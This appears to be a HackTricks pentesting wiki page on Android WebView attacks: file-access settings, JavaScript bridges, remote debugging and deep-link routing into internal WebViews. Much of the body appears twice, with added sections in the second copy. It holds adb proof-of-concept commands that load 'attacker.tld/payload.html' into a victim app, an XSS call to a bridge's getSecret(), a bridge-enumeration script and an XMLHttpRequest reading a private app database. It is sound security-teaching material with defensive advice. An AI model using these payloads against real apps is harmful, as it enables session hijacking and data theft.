# Webview Attacks

{{#include ../../banners/hacktricks-training.md}}

## Guide on WebView Configurations and Security

### Overview of WebView Vulnerabilities

A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.

![WebView Example](<../../images/image (1190).png>)

### **File Access in WebViews**

By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).

#### **Deprecated Features: Universal and File Access From URLs**

- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
  - To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
  - To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
  - Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.

#### **Secure File Loading**

For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.

- Check with `getAllowFileAccess()`.
- Enable or disable with `setAllowFileAccess(boolean)`.

#### **WebViewAssetLoader**

The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.

### loadUrl

This is a common function used to load arbitrary URLs in a webviwe:

```java
webview.loadUrl("<url here>")
```

Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.

### **JavaScript and Intent Scheme Handling**

- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.

![Vulnerable WebView](<../../images/image (1191).png>)

Exploitation example using adb:

```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```

### Javascript Bridge

A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.

- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.

#### Implementing a JavaScript Bridge

- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:

```javascript
@JavascriptInterface
public String getSecret() {
    return "SuperSecretPassword";
};
```

- JavaScript Bridge is enabled by adding an interface to the WebView:

```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```

- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:

```html
<script>
  alert(javascriptBridge.getSecret())
</script>
```

- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.

### Reflection-based Remote Code Execution (RCE)

- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.

### Remote Debugging

- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.

#### Enabling Remote Debugging

- Remote debugging can be enabled for all WebViews within an application by:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}
```

- To conditionally enable debugging based on the application's debuggable state:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}
```

## Exfiltrate arbitrary files

- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:

```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    alert(xhr.responseText)
  }
}
xhr.open(
  "GET",
  "file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
  true
)
xhr.send(null)
```

# Webview Attacks



## Guide on WebView Configurations and Security

### Overview of WebView Vulnerabilities

A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.

![WebView Example](<../../images/image (1190).png>)

### **File Access in WebViews**

By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).

#### **Deprecated Features: Universal and File Access From URLs**

- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
  - To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
  - To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
  - Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.

#### **Secure File Loading**

For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.

- Check with `getAllowFileAccess()`.
- Enable or disable with `setAllowFileAccess(boolean)`.

#### **WebViewAssetLoader**

The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.

### loadUrl

This is a common function used to load arbitrary URLs in a webviwe:

```java
webview.loadUrl("<url here>")
```

Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.

### Deep-linking into internal WebView (custom scheme → WebView sink)

Many apps register custom schemes/paths that route a user-supplied URL into an in-app WebView. If the deep link is exported (VIEW + BROWSABLE), an attacker can force the app to render arbitrary remote content inside its WebView context.

Typical manifest pattern (simplified):

```xml
<activity android:name=".MainActivity" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="myscheme" android:host="com.example.app" />
  </intent-filter>
</activity>
```

Common code flow (simplified):

```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
    Uri deeplink = intent.getData();
    String url = deeplink.getQueryParameter("url"); // attacker-controlled
    if (deeplink.getPathSegments().get(0).equals("web")) {
        Intent i = new Intent(this, WebActivity.class);
        i.putExtra("url", url);
        startActivity(i);
    }
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```

Attack pattern and PoC via adb:

```bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```

Impact: the remote page runs in the app WebView context (cookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings).

Hunting tips:
- Grep decompiled sources for `getQueryParameter("url")`, `loadUrl(`, `WebView` sinks, and deep-link handlers (`onCreate/onNewIntent`).
- Review the manifest for VIEW+BROWSABLE filters and custom schemes/hosts that map to activities that later start a WebView.
- Check if there are multiple deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) and prefer the one that renders inside the app.

### Enabling JavaScript before verification (order-of-checks bug)

A frequent hardening mistake is enabling JavaScript or configuring relaxed WebView settings before the final allowlist/verification of the target URL completes. If the verification is inconsistent across helpers or happens too late, an attacker deep link can reach a state where:

1) WebView settings apply (e.g., `setJavaScriptEnabled(true)`), and
2) The untrusted URL is loaded with JavaScript enabled.

Bug pattern (pseudocode):

```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());
```

Why it’s exploitable
- Inconsistent normalization: helpers split/rebuild the URL differently than the final check, creating mismatches a malicious URL can exploit.
- Misordered pipeline: enabling JS in step 2 applies globally to the WebView instance, affecting the final load even if verification would later fail.

How to test
- Craft deep-link payloads that pass early checks and reach the WebView configuration site.
- Use adb to fire implicit VIEW intents delivering a `url=` parameter controlled by you:

```bash
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```

If exploitation succeeds, your payload executes JavaScript in the app’s WebView. From there, probe for exposed bridges:

```html
<script>
for (let k in window) {
  try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```

Defensive guidance
- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
- Only call `setJavaScriptEnabled(true)` after all allowlist checks pass and just before loading trusted content.
- Avoid exposing `@JavascriptInterface` to untrusted origins; prefer per-origin gating.
- Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.

### **JavaScript and Intent Scheme Handling**

- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.

![Vulnerable WebView](<../../images/image (1191).png>)

Exploitation example using adb:

```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```

### Javascript Bridge

A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.

- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.

#### Implementing a JavaScript Bridge

- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:

```javascript
@JavascriptInterface
public String getSecret() {
    return "SuperSecretPassword";
};
```

- JavaScript Bridge is enabled by adding an interface to the WebView:

```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```

- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:

```html
<script>
  alert(javascriptBridge.getSecret())
</script>
```

- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.

### Reflection-based Remote Code Execution (RCE)

- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.

### Remote Debugging

- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.

#### Enabling Remote Debugging

- Remote debugging can be enabled for all WebViews within an application by:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}
```

- To conditionally enable debugging based on the application's debuggable state:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}
```

## Exfiltrate arbitrary files

- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:

```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    alert(xhr.responseText)
  }
}
xhr.open(
  "GET",
  "file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
  true
)
xhr.send(null)
```

## References

- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
- [Deep Links & WebViews Exploitations – Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Deep Links & WebViews Exploitations – Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)

{{#include ../../banners/hacktricks-training.md}}